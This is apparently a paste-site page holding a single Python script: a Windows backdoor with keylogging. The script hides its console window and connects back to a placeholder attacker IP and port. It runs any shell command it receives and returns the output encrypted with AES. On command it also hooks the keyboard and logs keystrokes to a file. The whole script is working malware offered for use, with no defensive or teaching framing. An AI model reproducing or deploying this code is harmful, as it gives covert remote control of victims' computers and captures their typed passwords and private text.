Untitled
unknown
plain_text
a year ago
2.0 kB
5
Indexable
import subprocess import socket import base64 import os import sys import win32api import win32console import win32gui import pythoncom import pyHook from Crypto.Cipher import AES # Modify the following IP and port to your listening server attacker_ip = 'YOUR_ATTACKER_IP' attacker_port = YOUR_ATTACKER_PORT # Encryption key encryption_key = 'YOUR_ENCRYPTION_KEY' def hide_console(): window = win32console.GetConsoleWindow() win32gui.ShowWindow(window, 0) def encrypt(plain_text): cipher = AES.new(encryption_key, AES.MODE_ECB) padded_text = plain_text + (AES.block_size - len(plain_text) % AES.block_size) * '\0' encrypted_text = cipher.encrypt(padded_text) encoded_text = base64.b64encode(encrypted_text) return encoded_text def decrypt(encoded_text): cipher = AES.new(encryption_key, AES.MODE_ECB) decoded_text = base64.b64decode(encoded_text) decrypted_text = cipher.decrypt(decoded_text) return decrypted_text.rstrip(b'\0') def keylogger(event): if event.Ascii != 0: with open('keylogs.txt', 'a') as f: f.write(chr(event.Ascii)) return True def connect(): hide_console() s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((attacker_ip, attacker_port)) while True: command = s.recv(1024).decode() if command.lower() == 'exit': break elif command.lower() == 'keylog': hm = pyHook.HookManager() hm.KeyDown = keylogger hm.HookKeyboard() pythoncom.PumpMessages() else: cmd_output = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) output_bytes = cmd_output.stdout.read() + cmd_output.stderr.read() output_str = output_bytes.decode('utf-8', 'ignore') encrypted_output = encrypt(output_str) s.send(encrypted_output) s.close() if __name__ == '__main__': connect()
Editor is loading...
Leave a Comment